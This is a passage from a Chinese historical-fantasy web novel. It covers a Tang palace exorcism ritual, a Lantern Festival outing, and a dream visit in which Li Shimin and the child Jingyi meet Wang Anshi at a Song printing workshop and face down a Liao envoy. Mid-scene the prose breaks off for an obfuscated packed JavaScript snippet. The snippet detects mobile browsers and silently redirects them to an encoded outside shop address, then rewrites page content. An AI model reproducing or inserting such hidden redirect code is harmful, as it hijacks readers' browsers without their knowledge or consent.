就在最终鼓息、神力开始回撤、方相氏神魂虚影即将消散之际,那戴着黄金四目面具的神影,微微转动头颅。 他的目光,准确无误地投向了侧后方屋脊。那里,红袍火神与白衣乐神并肩而立。 尽管两位正神并未展露全部神威,但那份存在的本质与位格,足以让这位新晋的神祇感应并致以敬意。 方相氏虚影对着屋脊方向,郑重地颔首一礼。随即,玄甲神光收敛,迅速淡去,回归述职。 此番借助大唐国运与除夕傩礼显圣,亦是职责,临行对两位上古正神致意,是应有的礼数。 长琴立于屋脊,夜风拂动衣袂。他亦对着方相氏消散的方向,微微颔首还礼。随即,他不再迟疑,抬手,一道无形无质的清越琴音般的灵力波动,精准地没入广场中心下方。 片刻,两点微光自地底不同方位渗出,如同被琴音牵引的游鱼,迅速飞升至屋脊,落入长琴摊开的掌心。 这是两片颜色、质地略有差异,但气息同源、纹路相连的焦黑残片,比之前所得任何一片都更显古老,上面刻痕深峻,蕴含着强烈的破邪、正音、涤荡之意。 正是《鸣岐谱》中关于以音律镇压不祥、清剿邪祟的关键篇章残页!而且一次便是两片相连的!与之前所得的部分结合,整部古谱的脉络与威能,已可窥见大半。如今,他已得其五之其三。 广场上,仪式已近尾声。方相氏率领伥子童子,沿着既定路线,已将宫中邪祟尽数驱逐至象征性的宫门之外。随着最后一声撼天动地的鼓响和万民齐呼,所有鼓声、呼喝声戛然而止。 风停,火稳。 那笼罩广场的庞大神力场与肃杀之气如潮水般退去。扮演方相氏的巨汉身体晃了晃,仿佛瞬间被抽空了力气,在旁人搀扶下缓缓退场。 景颐还沉浸在方才那震撼的共鸣与看见的景象中,直到李治拉他的袖子,才恍然回神。他下意识地抬头,望向爷爷和师父之前所在的屋脊方向,那里已空无一人,但他能感觉到,熟悉的温暖与清冷气息,正朝着凝云轩而去。 “走了,景颐,回去守岁!耶耶说今晚可以玩到很晚!” 李治兴奋地说。 “嗯!回家!” 景颐用力点头,牵起李治的手,最后看了一眼恢复欢腾的广场。 夜色深浓,旧岁在神舞、爆竹与欢庆中逝去。凝云轩内,长琴正对着新得的两片残卷沉思,而祝融则陪着终于开始打哈欠的景颐,说着漫无边际的故事,等待新旧交替的那个时刻。 除夕之后的新年,在走亲访友、吃吃喝喝中飞快溜走。 凝云轩里,长琴将大部分时间都用在了研究新得的两片残卷上。这两片残页焦黑古旧,刻痕深峻,所载并非具体的乐曲,而是一种近乎“道”的阐述,核心在于以音律之正,镇压世间不祥,以清越之声,涤荡诸般邪祟。 其中提及的运用法门玄奥精深,远超寻常乐理。 景颐见师父整日对着一块焦木头沉思,连点心都吃得少了,忍不住好奇,凑过去扒着桌沿问:“师父,这个黑乎乎的片片上写的什么呀?比千字文还难懂吗?” 长琴从沉思中回神,看了他一眼解释道:“此乃音律一道中,关乎镇压与传续的法理。你瞧这里,” 他指尖虚点残片上几行极细微的纹路, “这里写着‘音可化文,文以载道,道传百世而不绝。’音律并非只能入耳即逝,亦可化为有形之文,承载无形之道,跨越时间长河,使后人亦能得闻先贤之正音,明辨是非,抵御邪妄。” 景颐听得云里雾里,感觉每个字都懂连起来不懂”,但他努力抓住关键词:“音……变成字?字……传下去?不让忘记?” 长琴微微颔首,进一步举例:“譬如,上古圣王,将治世之言刻于金简玉版,是为典谟,欲传之不朽。中古贤人,将所思所感书于竹简缣帛,是为诗书,欲泽被后人。近世以来,匠人以木刻雕版,翻印经史子集,使天下识字之人,皆可得见圣贤教诲。 “此种种,皆是以文载道,以有形传无形,亦是一种正音。让那些有益于世且不该被遗忘的道理与记忆,能够对抗时光流逝,长久留存。” 不该被遗忘。 景颐这次听懂了最后一句。他似懂非懂地点点头,虽然还是不太明白具体怎么回事,但最后一句,他牢牢记在了心里。就像他努力记住梦里的苏叔叔、霍将军,还有师父说的每一句话一样。 正月十五,上元佳节。李世民崇尚节俭,宫中并未举办前朝那般极尽奢靡的大型灯会,但也不禁止宫人与皇室子弟私下庆祝。 是夜,祝融带着景颐和李治,征得了李世民和长孙皇后的同意,在数名可靠侍卫的护卫下,登上了长安城的一处城墙。 此处视野开阔,远离宫城核心的喧闹,却能俯瞰部分里坊星星点点的灯火。夜风清寒,却吹不散节日的暖意。侍卫们搬来了几个崭新的孔明灯,还有笔墨。 “来,小家伙们,” 祝融将两个最小的孔明灯递给景颐和李治,“在上头写下心愿,或者想祈福的人,然后点燃下面的蜡烛,看着它飞上天,据说就能被天上的神仙看到,帮你们实现愿望。当然,爷爷也能看到,但爷爷可不负责这个。” 李治很认真地想了想,然后握着笔,在薄薄的灯纸上 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景颐仰着小脑袋,看得入神。那灯火明明灭灭,执着地向上,仿佛要挣脱大地的束缚,去往一个更高、更远、他看不见的地方。 忽然,他扯了扯祝融的衣袖,仰脸问:“爷爷,方相氏叔叔是人间当官当得好,才变成神仙的。那……人间的东西,也能像这灯一样,飞到天上去,变成天上的东西吗?” 祝融闻言,捋了捋并不存在的胡须,沉吟道:“有些能,有些不能。有形之物,如这灯,升空便化为灰烬或坠落。无形之物,却有可能。比如……书。” “书?” 景颐眨眨眼。 “嗯。书里记着的道理、知识、故事,如果是对世人有益的,是正的,那这本书本身,在天地间就有了分量。 “读它的人越多,信它的人越多,践行它道理的人越多,这本书承载的道与念就越重,越清晰,久而久之,其精义或许便能脱离竹帛纸页的束缚,成为一种……嗯,接近于法则或共识的东西,流传下去。这,或许也算是一种飞升。” 祝融用尽量浅显的话解释着。 书,道理,传下去,不该被遗忘…… 几个词在景颐小脑袋里碰撞。他忽然想起师父这几天研究的东西。一个大胆的、异想天开的念头冒了出来。 他眼睛亮晶晶地看向祝融,带着莫名的自信和跃跃欲试:“爷爷!那……那我能把梦里的书带回来吗?把梦里那些好的、不该被忘记的书,带到我们这里来!这样它们不就能在这里传下去了?” 祝融被他这突如其来的宏愿逗得噗嗤一笑,低头看着自家孙子那认真的小脸,忍不住伸手揉了揉他的头发:“你个一看正经书就打瞌睡、练字像画符的小皮猴,还想从梦里带书回来?带什么书?《千字文》你背全了吗?《急就篇》认全了吗?” 景颐被爷爷揭了老底,小脸一红,梗着脖子辩解:“我、我以后会认真学的!而且……梦里的书可能不一样!说不定是讲怎么做特别好吃的点心,或者怎么做出会飞的大船呢?” “好好好,” 祝融笑着顺毛捋,“你想试试,便去试试。不过啊,” 他话锋一转,语气轻松,“带不回来也没关系。梦里的东西,留在梦里,自有其缘法。就像这孔明灯,飞远了,看不见了,但它承载的心意,我们已经许下了,不是吗?强求反而不美。” 景颐看着夜空中早已不见踪影的孔明灯方向,又摸了摸怀里硬硬的小银粒和软软的纸兔子。 带不回书……带点别的也行?爷爷说试试,那就试试!反正他做梦又不亏!万一成功了呢?他可是能从坏梦里捡银子的小麒麟! 夜风渐大,该回去了。回去的路上,景颐还在叽叽喳喳地跟李治讨论,如果真能从梦里带东西,最想带什么回来。 李治说想要一只梦里那种漂亮的文鳐鱼,景颐则已经开始认真思考,下次入梦要瞪大眼睛找找有没有看起来特别厉害、特别不该被忘记的书了,虽然他现在连书名都认不全几个。 69.第 69 章 上元节的灯火与天灯带来的兴奋渐渐平息,年节的余韵在最后一次家宴后彻底散去。 长安的春日来得迟,正月末的天气依旧带着料峭寒意,枝头的新芽畏畏缩缩,宫墙下的残雪也未化尽。 日子恢复了熟悉的节奏,起床、吃饭、学习、打瞌睡、和雉奴玩。 这日午后,许是玩闹得太过,又或许是春困袭来,景颐和李治疯跑了一阵后,都觉得有些懒洋洋的。两人手拉手,晃悠到了两仪殿。 殿内炭火暖融,李世民正倚在软榻上,就着明亮的天光,批阅着开春后各地报上来的劝农、水利章程。见两个小家伙探头探脑,一脸倦色,便招手让他们进来。 “玩累了?” 李世民放下朱笔,拍了拍身边空位。 “嗯……” 景颐打了个小哈欠,很自然地脱了鞋子,手脚并用地爬上软榻,蜷在李世民身侧,小脑袋依赖地靠着他手臂。李治也爬了上来,挨在另一边。 李世民身上有淡淡的墨香和令人安心的温暖气息。景颐蹭了蹭,找到一个舒服的姿势,眼皮就开始打架。李治也安静下来,玩着父皇腰间玉佩的流苏。 殿内只剩下炭火轻微的噼啪声,和李世民偶尔翻动奏章的窸窣声。阳光透过窗棂,在光洁的金砖地上投下温暖的光斑,空气中的微尘在光柱中缓缓浮动。一切都安宁得让人昏昏欲睡。 李世民低头看了看一左一右靠着自己的两个小不点。雉奴已经半合着眼,呼吸均匀。景颐也迷糊着,小手无意识地抓着他的衣角,长长的睫毛在小脸上投下扇形的阴影,嘴角还微微上翘,不知梦见了什么好吃的。 岁月静好,不过如此。连日的政务疲惫,似乎也被这温暖的依偎驱散了不少。李世民轻轻挪动了一下,让两个孩子靠得更舒服些,自己也放松了身体,靠在软枕上,目光落在殿外略显苍白的春日光景里,思绪有些飘远。 开春诸事繁杂,河东的蝗患需持续关注,高丽那边长孙师的消息还未传回,倭国使者学习事宜要督促,还有各地官员的考绩……千头万绪。 在这静谧的温暖氛围中,李世民也渐渐感到一丝困意袭来。他阖上眼,准备小憩片刻。 然而,就在他意识即将沉入黑暗的边界时,忽然感觉到靠在自己手臂上的景颐,身体几不可察地绷紧了一瞬,随即又放松下去。与此同时,一股极其细微的、熟悉的牵引感,如同投入心湖的极小石子,漾开一圈几乎无法察觉的涟漪。 是了……距离上次入梦,已有些时日了。 李世民早已熟悉这感觉,这孩子,大概又在睡梦中,无意识地抓住了什么吧。只是不知这次,又会将他带往何方,见到何人。 意识沉浮,落地时是在一条熙攘的街市。依旧是汴京,时节似是初春,寒意未消,但阳光甚好。李世民与景颐正站在一家看起来颇大的书肆外,里面人来人往,多是书生打扮,抱着新买的书卷,面带喜色。 就在这时,一个熟悉又有些陌生的身影从书肆旁的小巷转出,差点与东张西望的景颐撞上。 那人一身半旧的靛蓝直裰,面容清癯,眉宇间虽仍有挥之不去的思虑纹路,但背脊挺直,步履沉稳,与去年秋夜月下独酌、颓唐自苦的模样判若两人。 正是王安石。 王安石抬眼,看到李世民和景颐,先是一愣,随即眼中掠过一丝讶异与了然,竟主动拱手,脸上露出一抹不算热烈、却比上次真诚许多的笑意:“兄台,小友,不想在此地重逢。近来可好?” “王公。” 李世民也拱手还礼,目光在王安石身上一转,含笑点头,“观王公气色,更胜往昔。” 景颐记性好,也认出这个黑脸叔叔,但他更记得上次叔叔很难过。他仰着小脸,好奇地直接问道:“王伯伯,你不一个人喝酒啦?看起来高兴多啦!” 孩童直接的问候让王安石脸上的笑意真切了些。他略一沉吟,道:“去岁沉郁,让二位见笑了。幸赖圣恩不弃,天下事亦未可因一人之去留而废弛。近日于这国子监书局监理新法雕印之事,眼见典籍得以广布,新学渐有传人,心中稍慰。” 他指了指旁边的书肆,又示意他们看街对面一处门户更阔、传来声响的院子,“那便是刊印的作坊,二位若有兴致,不妨随某一观?” “要!要看!” 景颐立刻来了精神。李世民也正想见识后世的印刷是如何做的,便点头应允。 进入作坊,热火朝天的景象扑面而来。巨大的木盘上,工匠们飞快地捡字排版。油墨的独特气味弥漫,刷子涂抹、纸张覆盖、耙子压实、揭起……一张张字迹清晰美观的书页便流水般产出,效率惊人。 “哇!好厉害!” 景颐看得目不转睛,在排列整齐的活字架和忙碌的工匠间好奇地溜达了好几圈,小脑袋跟着那咔哒声一点一点。 他终于忍不住,跑到一位看起来最和善的老工匠身边,扯了扯人家的衣角,仰着脸,大眼睛里满是渴望:“老爷爷,这个……能让我试试吗?就一下!我保证轻轻的!” 王安石在一旁看见了,对那老工匠微微颔首。老工匠笑呵呵地应下,找了一块练习用的旧版和几个常用的木活字,准备手把手教他。 然而,景颐莫名自信的劲儿上来了,觉得自己看了这么久,肯定行了!他豪气地一撸袖子,抢过小刷子:“我自己来!” 接下来,便是惨不忍睹的印刷事故现场。蘸墨太多滴得到处都是,刷子用得像在刷墙,墨涂得厚薄不均,覆纸时歪了,压印时力气忽大忽小…… 最后揭开的那张作品,墨团与空白交错,字迹扭曲粘连,堪比天书符箓,还是画坏的那种。 “哈哈哈哈!” 李世民在一旁毫不客气地大笑,指着那纸道,“景颐啊,你印的这是驱邪符还是招鬼图?怕是连你师父都看不懂!” 景颐小脸通红,一半羞臊,一半被笑的,眼珠一转,沾满油墨的小手就超绝不经意地朝李世民那身干净的衣衫探去:“都怪这墨……” 李世民早有防备,眼疾手快,一只大手稳稳抓住景颐的墨爪手腕,让他动弹不得,笑道:“想拉我下水?没门!快去洗手!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357092|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被拎去洗净了手,景颐宝贝似的把自己那张墨宝折好收起来。李世民这才有机会与王安石走到一旁稍静处,看着满作坊的忙碌景象和堆积如山的书页,问道:“王公印量如此之巨,所费不赀,皆为推行新学?” 王安石目光扫过那些承载着文字与理想的纸张,语气沉静而有力: “正是。欲变风俗,立法度,必先统一思想,广布正典。旧籍或谬误,或垄断,寒门难窥。今设局刊印经史、律令、新学释义,务求价廉物美,遍发州县学舍、市井书坊。使天下士人,无论贫富,皆可习圣贤之道,明朝廷法度。此为百年大计之根基。” 他顿了顿,声音压低,“亦使……某些人祖制无凭、经典不载之论,不攻自破。” 李世民听罢,心中暗赞。此策目光深远,确是固本培元、助力变法之良方。他正欲再问,作坊外忽传来一阵喧哗,夹杂着生硬的汉语和倨傲的笑声。 几人走出作坊,只见街对面,几个身着契丹服饰、髡发左衽的彪形大汉,簇拥着一个神情倨傲的中年男子,正对着书肆指指点点,语带讥诮。 那锦袍男子,正是辽国使臣萧禧。 “……啧啧,南朝如今是没钱养兵了么?竟搞起这雕虫小技,印些无用书册。纸上的道理,能挡得住我大辽的铁骑?” 萧禧的语气充满了挑衅。 王安石脸色一沉,正要上前,李世民却轻轻拉了他一下,自己上前一步:“此言差矣。兵者,国之重器,不可一日不备。然文教,乃国之血脉,更不可一日不昌。 “铁骑可开疆拓土,亦可毁城灭国。而文章典籍,却能化育万民,传承文明,使邦国历百世而不衰。不知贵国,是重一时之铁骑,还是重万世之文脉?” 他气度从容,言辞犀利,一下子将话题拔高到了国本层面。萧禧被噎了一下,正要反驳,旁边洗好手跑出来看热闹的景颐,忽然指着萧禧身边一个辽人手里拿着的一本《论语》,用他那清脆的童音,大声问道: “咦?那个大胡子叔叔,你手里拿的,不也是我们印的无用书册吗?你买它做什么呀?是拿回去当柴火烧,还是……你也想学上面的道理呀?” “噗——” 周围一些宋人百姓忍不住笑出声。萧禧的脸顿时涨成了猪肝色,他身边那个拿着《论语》的辽人更是手忙脚乱地把书往怀里藏,尴尬不已。 王安石眼中闪过一丝笑意,顺势肃容道:“萧使者,我朝印书广学,乃为教化百姓,传播圣贤之道。若贵国亦有向学之心,我朝自当欢迎。只是不知,贵国是愿见百姓明理知义,邦国和睦,还是乐见天下只识弓马,不言仁义?” 萧禧被这大小三人一唱一和,挤兑得哑口无言,重重哼了一声,甩袖而去,留下一地尴尬的随从。 看着辽人灰溜溜走远的背影,王安石对李世民和景颐郑重一揖:“多谢二位出言相助。” 李世民摆手笑道:“王公客气,肺腑之言罢了。” 景颐则还在为刚才自己一句话打败大胡子的壮举得意,小脸上满是求夸夸的表情。